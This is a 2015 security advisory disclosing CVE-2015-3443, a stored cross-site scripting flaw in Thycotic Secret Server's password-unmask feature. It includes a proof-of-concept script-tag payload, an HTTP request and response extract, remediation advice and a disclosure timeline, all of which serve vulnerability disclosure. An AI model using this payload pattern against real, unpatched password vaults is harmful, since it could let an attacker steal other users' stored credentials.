############################################################# # # COMPASS SECURITY ADVISORY # http://www.csnc.ch/en/downloads/advisories.html # ############################################################# # # CVE ID : CVE-2015-3443 # Product: Secret Server [1] # Vendor: Thycotic # Subject: Stored Cross-Site Scripting Vulnerability (XSS) # Risk: High # Effect: Remotely exploitable # Author: Marco Delai (marco.delai () csnc ch) # Date: June 24th 2015 # ############################################################# Introduction: ------------- Thycotic Secret Server enterprise password management software allows the creation, management and control of critical passwords in one centralized, web-based repository [1]. The identified vulnerability (stored Cross-Site Scripting) allows the execution of JavaScript code in the browser of a valid user when it toggle the password mask on a specially crafted password. This allows, for example, an attacker to prepare a specially crafted shared password, which when read by another user, can steal all other passwords the victim has access to. Vulnerable: ----------- Secret Server customers on version 8.6.000000 to 8.8.000004 [2]. Technical Details -------------------- Exploiting the vulnerability simply requires to: 1. Create a new password entry within Secret Server with the following value: "Compass Security<script>alert("Compass Security")</script>" 2. Open the basic dashboard and toggle the password mask. The password is retrieved from the server using an AJAX call and its value is added straight to the page's DOM without validation. Thus, the script included in step 1 is executed. Note that the payload defined in step 1 did only get executed in the basic dashboard view. The advanced dashboard did adequately encode the password. Extract of the vulnerable page: GET /SecretServer/api.ashx/simplehome/GetSecretItemValue?secretItemId=[...]&auditAction=unmask HTTP/1.1 HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Length: 62 Content-Type: application/json; charset=utf-8 Expires: -1 [...] Content-Security-Policy: connect-src 'self'; font-src 'self'; frame-src 'self' sslauncher:; img-src 'self' data:; media-src 'self'; object-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval' X-Content-Security-Policy: connect-src 'self'; font-src 'self'; frame-src 'self' sslauncher:; img-src 'self' data:; media-src 'self'; object-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval' X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-UA-Compatible: IE=edge "Compass Security<script>alert(\"Compass Security\")</script>" Remediation: ------------ Update Secret Server to the latest version, which fixes the vulnerability [2]. Milestones: ----------- 2015-02-19 Vulnerability discovered 2015-02-20 Vulnerability reported to vendor 2015-02-20 Vendor patch [2] 2015-06-24 Public disclosure References: ----------- [1] http://thycotic.com/products/secret-server/ [2] http://thycotic.com/products/secret-server/resources/advisories/thy-ss-004/